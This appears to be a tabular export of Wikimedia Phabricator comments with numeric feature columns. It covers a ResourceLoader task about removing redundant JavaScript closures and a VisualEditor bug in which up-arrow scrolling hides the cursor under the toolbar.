[[https://gerrit.wikimedia.org/r/534762]]",,,1567756299,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-knvyif3q5u66km5ufvcb,task_subcomment,,True,c1,3,False,,,322,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,8.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,17.0,4.222222222222222,0.8333333333333334,"Change 534762 had a related patch set uploaded (by Fomafix; owner: Fomafix):
[mediawiki/core@master] Remove redundant closure for module 'mediawiki.util'

[[GERRIT_URL]]"
1303421,ResourceLoader: Remove obsolete closures from files,"Change 518951 had a related patch set uploaded (by Fomafix; owner: Fomafix):
[mediawiki/extensions/CentralNotice@master] Remove redundant closure for all packageFiles with own directory

[[https://gerrit.wikimedia.org/r/518951]]",,,1561457574,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-knvyif3q5u66km5ufvcb,task_subcomment,,True,c1,3,False,,,312,,3.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,13.0,4.641025641025641,0.8461538461538461,"Change 518951 had a related patch set uploaded (by Fomafix; owner: Fomafix):
[mediawiki/extensions/CentralNotice@master] Remove redundant closure for all packageFiles with own directory

[[GERRIT_URL]]"
1287922,ResourceLoader: Remove obsolete closures from files,"Change 512519 had a related patch set uploaded (by Fomafix; owner: Fomafix):
[mediawiki/core@master] Remove redundant closure for all modules with packageFiles

[[https://gerrit.wikimedia.org/r/512519]]",,,1558862601,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-knvyif3q5u66km5ufvcb,task_subcomment,,True,c1,3,False,,,307,,3.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,17.0,4.333333333333333,0.8611111111111112,"Change 512519 had a related patch set uploaded (by Fomafix; owner: Fomafix):
[mediawiki/core@master] Remove redundant closure for all modules with packageFiles

[[GERRIT_URL]]"
1261645,ResourceLoader: Remove obsolete closures from files,"Change 501993 **merged** by jenkins-bot:
[mediawiki/core@master] Remove redundant closure for all packageFiles with own directory

[[https://gerrit.wikimedia.org/r/501993]]",,,1554861690,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-knvyif3q5u66km5ufvcb,task_subcomment,,True,c1,3,False,,,301,,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,4.0,0.7878787878787878,"Change 501993 **merged** by jenkins-bot:
[mediawiki/core@master] Remove redundant closure for all packageFiles with own directory

[[GERRIT_URL]]"
1259566,ResourceLoader: Remove obsolete closures from files,"Change 501993 had a related patch set uploaded (by Fomafix; owner: Fomafix):
[mediawiki/core@master] Remove redundant closure for all packageFiles with own directory

[[https://gerrit.wikimedia.org/r/501993]]",,,1554628343,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-knvyif3q5u66km5ufvcb,task_subcomment,,True,c1,3,False,,,300,,3.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,16.0,4.351351351351352,0.8648648648648649,"Change 501993 had a related patch set uploaded (by Fomafix; owner: Fomafix):
[mediawiki/core@master] Remove redundant closure for all packageFiles with own directory

[[GERRIT_URL]]"
1259531,ResourceLoader: Remove obsolete closures from files,"Change 501960 **merged** by jenkins-bot:
[mediawiki/core@master] mediawiki.Title: Remove redundant closure

[[https://gerrit.wikimedia.org/r/501960]]",,,1554594846,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-knvyif3q5u66km5ufvcb,task_subcomment,,True,c1,3,False,,,300,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,3.6774193548387095,0.7096774193548387,"Change 501960 **merged** by jenkins-bot:
[mediawiki/core@master] mediawiki.Title: Remove redundant closure

[[GERRIT_URL]]"
1259514,ResourceLoader: Remove obsolete closures from files,"Effectively fixed by T133462, which makes this a possibility regardless of debug mode.

I'm closing this as resolved as it is now possible with T133462 to lint a file as a ""module"" (similar to Node.js) without needing a closure. The only reason our files had closures is for compatibility with debug mode. And for modules using packageFiles, debug mode has been fixed to not change the execution scope.

This does mean we can remove them from files not loaded as part of a module bundle that uses packageFiles, but it seems good enough for me.

Maybe as part of  T85805, we will make it possible for legacy modules, but that's TBD, and separate from this task.",,,1554583100,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-knvyif3q5u66km5ufvcb,task_subcomment,,True,c1,3,True,,,300,,0.0,0.0,0.0,0.5,1.5,3.5,1.0,0.0,0.0,0.0,3.0,0.5,0.0,0.5,0.0,3.0,0.0,4.5,12.5,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.5,5.5,1.0,2.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.5,0.5,1.5,0.0,0.0,0.0,0.5,0.0,13.0,1.5,1.5,0.0,0.5,0.5,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,4.0,1.5,6.5,0.0,2.5,7.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,6.0,12.5,4.5,0.0,1.0,0.0,6.0,0.0,1.0,2.5,1.5,1.5,0.0,0.0,0.0,3.971014492753623,0.7536231884057971,"Effectively fixed by T133462, which makes this a possibility regardless of debug mode.

I'm closing this as resolved as it is now possible with T133462 to lint a file as a ""module"" (similar to Node.js) without needing a closure. The only reason our files had closures is for compatibility with debug mode. And for modules using packageFiles, debug mode has been fixed to not change the execution scope.

This does mean we can remove them from files not loaded as part of a module bundle that uses packageFiles, but it seems good enough for me.

Maybe as part of  T85805, we will make it possible for legacy modules, but that's TBD, and separate from this task."
1259513,ResourceLoader: Remove obsolete closures from files,"Change 501960 had a related patch set uploaded (by Krinkle; owner: Krinkle):
[mediawiki/core@master] mediawiki.Title: Remove redundant closure

[[https://gerrit.wikimedia.org/r/501960]]",,,1554582926,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-knvyif3q5u66km5ufvcb,task_subcomment,,True,c1,3,False,,,300,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,20.0,4.085714285714285,0.8,"Change 501960 had a related patch set uploaded (by Krinkle; owner: Krinkle):
[mediawiki/core@master] mediawiki.Title: Remove redundant closure

[[GERRIT_URL]]"
225682,ResourceLoader: Remove obsolete closures from files,"Note that this bug isn't blocked on implementing global variable mappings.

This bug basically says:

* Closures added by ResourceLoader are not merely a by-product of the deferred loading. They are part of the eco system and to be relied on.
* Drop the tradition that each .js file should be loadable raw and standalone and instead embrace the dynamic build system.

The main thing blocking this is debug mode. We need to refactor debug mode to not load raw files (bug 62605). Instead it should merely keep them deminified. Ideally with support for source maps (bug 45514).",,,1404778084,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-knvyif3q5u66km5ufvcb,task_subcomment,,True,c1,3,True,,,53,,0.5,0.0,0.0,1.0,2.0,6.5,1.0,0.0,0.0,0.0,1.5,0.5,0.0,1.5,0.0,1.0,0.5,6.0,8.0,0.0,2.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,3.5,0.5,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.5,0.0,0.5,14.5,1.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,3.5,3.5,6.5,1.0,2.0,6.0,0.0,0.0,0.0,0.0,5.5,0.0,1.5,0.0,3.0,8.0,2.5,0.0,0.0,0.0,3.0,0.0,0.0,0.5,1.0,1.5,0.0,0.0,0.0,4.076271186440678,0.788135593220339,"Note that this bug isn't blocked on implementing global variable mappings.

This bug basically says:

* Closures added by ResourceLoader are not merely a by-product of the deferred loading. They are part of the eco system and to be relied on.
* Drop the tradition that each .js file should be loadable raw and standalone and instead embrace the dynamic build system.

The main thing blocking this is debug mode. We need to refactor debug mode to not load raw files (bug 62605). Instead it should merely keep them deminified. Ideally with support for source maps (bug 45514)."
225674,ResourceLoader: Remove obsolete closures from files,"
-- startup:
register(
 ..,
 [ 'ext.visualEditor', 1234, ...., ['VisualEditor']
);

-- mw.loader:
 script( $, global[propKeys..].. );

-- load.php response when loading visualeditor:
mw.loader.implement( 'ext.visualEditor.core', function ( $, ve ) {
 -- include ve.js
 -- include ve.A.js
 -- include ve.B.js
 -- include ve.C.js
} );",,,1404777088,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-knvyif3q5u66km5ufvcb,task_subcomment,,True,c1,3,True,,,53,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,3.552941176470588,0.4588235294117647,"
-- startup:
register(
 ..,
 [ 'ext.visualEditor', 1234, ...., ['VisualEditor']
);

-- mw.loader:
 script( $, global[propKeys..].. );

-- load.php response when loading visualeditor:
mw.loader.implement( 'ext.visualEditor.core', function ( $, ve ) {
 -- include ve.js
 -- include ve.A.js
 -- include ve.B.js
 -- include ve.C.js
} );"
225665,ResourceLoader: Remove obsolete closures from files,"Also:


modules['bar'] = {
  scripts: ['bar.a.js', 'bar.b.js'],
  globals: {
    ba: Bar
  }
};

mw.loader.implement( 'foo', function ( $, mw, ba ) {
  --- bar.a.js
    ...

  --- bar.b.js
  ...
} );",,,1369733723,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-knvyif3q5u66km5ufvcb,task_subcomment,,True,c1,1,True,,,-5,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.84375,0.5,"Also:


modules['bar'] = {
  scripts: ['bar.a.js', 'bar.b.js'],
  globals: {
    ba: Bar
  }
};

mw.loader.implement( 'foo', function ( $, mw, ba ) {
  --- bar.a.js
    ...

  --- bar.b.js
  ...
} );"
50787,"VisualEditor: Using up-arrow to scroll lets you put the cursor under the toolbar in Firefox, Internet Explorer","Go to some long article (so long that it won't fit on one screen in your browser), start the visual editor, scroll down, then use up-arrow to walk all the way back up to the top of the article. It's not possible: the first lines of the article remain obscured by the visual editor's menu bar; the only way to make them visible is using the scroll bar or with PageUp.


This is Windows 7, Firefox 16.0.2, Chrome 26.0.1410.64 m, Mediawiki 1.22wmf4 (646544a), VisualEditor 0.1.0

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1369410540,1680797345.0,PHID-USER-zzvqlvm6i6kml4tfnqvq,False,PHID-USER-tuy2dac6pfhknbtqmqgh,False,PHID-TASK-4bokg6oohi7iw7rzhciv,task_description,declined,True,c1,1,False,False,False,-6,,1.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,1.0,0.0,0.0,0.0,3.5,7.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,13.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.5,1.5,8.5,0.5,1.0,7.0,0.0,0.0,0.0,0.0,3.5,0.0,3.5,0.0,2.5,7.0,5.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,3.741935483870968,0.7580645161290323,"Go to some long article (so long that it won't fit on one screen in your browser), start the visual editor, scroll down, then use up-arrow to walk all the way back up to the top of the article. It's not possible: the first lines of the article remain obscured by the visual editor's menu bar; the only way to make them visible is using the scroll bar or with PageUp.


This is Windows 7, Firefox 16.0.2, Chrome 26.0.1410.64 m, Mediawiki 1.22wmf4 (646544a), VisualEditor 0.1.0

--------------------------
**Version**: unspecified
**Severity**: normal"
2102206,"VisualEditor: Using up-arrow to scroll lets you put the cursor under the toolbar in Firefox, Internet Explorer","IE9, Firefox 16.0.2, Chrome 26.0.1410.64 not supported anymore.",,,1680797355,,PHID-USER-tuy2dac6pfhknbtqmqgh,False,,,PHID-TASK-4bokg6oohi7iw7rzhciv,task_subcomment,,True,c1,3,True,,,509,,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.090909090909091,0.9090909090909091,"IE9, Firefox 16.0.2, Chrome 26.0.1410.64 not supported anymore."
2102205,"VisualEditor: Using up-arrow to scroll lets you put the cursor under the toolbar in Firefox, Internet Explorer","IE9, Firefox 16.0.2, Chrome 26.0.1410.64 now supported anymore.",,,1680797345,,PHID-USER-tuy2dac6pfhknbtqmqgh,False,,,PHID-TASK-4bokg6oohi7iw7rzhciv,task_subcomment,,True,c1,3,True,,,509,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.090909090909091,0.9090909090909091,"IE9, Firefox 16.0.2, Chrome 26.0.1410.64 now supported anymore."
219382,"VisualEditor: Using up-arrow to scroll lets you put the cursor under the toolbar in Firefox, Internet Explorer",Apparently IE is affected too (see bug 63778).,,,1404175752,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4bokg6oohi7iw7rzhciv,task_subcomment,,True,c1,3,True,,,52,,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5454545454545454,1.0,Apparently IE is affected too (see bug 63778).
219376,"VisualEditor: Using up-arrow to scroll lets you put the cursor under the toolbar in Firefox, Internet Explorer","Go to some long article, scroll all the way down, click to make the blinking cursor visible. Now press and hold the cursor-up key to go all the way back to the top. Upon release of the cursor-up key, the cursor will be invisibly placed behind the toolbar. Another press/release of the cursor-up key is necessary to make it visible again.",,,1394913857,,PHID-USER-zzvqlvm6i6kml4tfnqvq,False,,,PHID-TASK-4bokg6oohi7iw7rzhciv,task_subcomment,,True,c1,3,False,,,36,,4.0,0.0,0.0,1.0,0.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,5.0,1.0,1.0,17.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,1.0,13.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.6447368421052633,0.5526315789473685,"Go to some long article, scroll all the way down, click to make the blinking cursor visible. Now press and hold the cursor-up key to go all the way back to the top. Upon release of the cursor-up key, the cursor will be invisibly placed behind the toolbar. Another press/release of the cursor-up key is necessary to make it visible again."
219370,"VisualEditor: Using up-arrow to scroll lets you put the cursor under the toolbar in Firefox, Internet Explorer",I believe that this was fixed some time ago as part of the toolbar fixes - please re-open if not.,,,1386037710,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4bokg6oohi7iw7rzhciv,task_subcomment,,True,c1,3,True,,,22,,4.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,22.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,9.0,0.0,13.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,4.0,22.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.391304347826087,0.9565217391304348,I believe that this was fixed some time ago as part of the toolbar fixes - please re-open if not.
219363,"VisualEditor: Using up-arrow to scroll lets you put the cursor under the toolbar in Firefox, Internet Explorer","I am now seeing the following behavior on mediawiki.org, using both Firefox and Chrome:

Editing a long article with the VisualEditor, scrolling down, and then pressing and holding CursorUp will scroll back to the top, but not quite: the very first line of the article remains obscured by the toolbar. I have to release and repress CursorUp to see that line.",,,1373636974,,PHID-USER-zzvqlvm6i6kml4tfnqvq,False,,,PHID-TASK-4bokg6oohi7iw7rzhciv,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,10.0,1.0,11.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,10.0,4.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,10.0,0.0,0.0,1.0,4.271428571428571,0.7285714285714285,"I am now seeing the following behavior on mediawiki.org, using both Firefox and Chrome:

Editing a long article with the VisualEditor, scrolling down, and then pressing and holding CursorUp will scroll back to the top, but not quite: the very first line of the article remains obscured by the toolbar. I have to release and repress CursorUp to see that line."
219356,"VisualEditor: Using up-arrow to scroll lets you put the cursor under the toolbar in Firefox, Internet Explorer",This is now merged and will go out later today.,,,1373491493,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4bokg6oohi7iw7rzhciv,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4545454545454546,1.0,This is now merged and will go out later today.
219350,"VisualEditor: Using up-arrow to scroll lets you put the cursor under the toolbar in Firefox, Internet Explorer","Change 73015 merged by jenkins-bot:
Bind listener to keyup to capture arrows & better math for scrolling.

https://gerrit.wikimedia.org/r/73015",,,1373491380,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4bokg6oohi7iw7rzhciv,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.25,0.9583333333333334,"Change 73015 merged by jenkins-bot:
Bind listener to keyup to capture arrows & better math for scrolling.

GERRIT_URL"
219342,"VisualEditor: Using up-arrow to scroll lets you put the cursor under the toolbar in Firefox, Internet Explorer","Change 73015 had a related patch set uploaded by Robmoen:
Bind listener to keyup to capture arrows & better math for scrolling.

https://gerrit.wikimedia.org/r/73015",,,1373484943,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4bokg6oohi7iw7rzhciv,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,15.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,4.407407407407407,0.9629629629629629,"Change 73015 had a related patch set uploaded by Robmoen:
Bind listener to keyup to capture arrows & better math for scrolling.

GERRIT_URL"
219337,"VisualEditor: Using up-arrow to scroll lets you put the cursor under the toolbar in Firefox, Internet Explorer","(In reply to comment #0)
> Go to some long article (so long that it won't fit on one screen in your
> browser), start the visual editor, scroll down, then use up-arrow to walk all
> the way back up to the top of the article. It's not possible: the first lines
> of the article remain obscured by the visual editor's menu bar; the only way
> to make them visible is using the scroll bar or with PageUp.

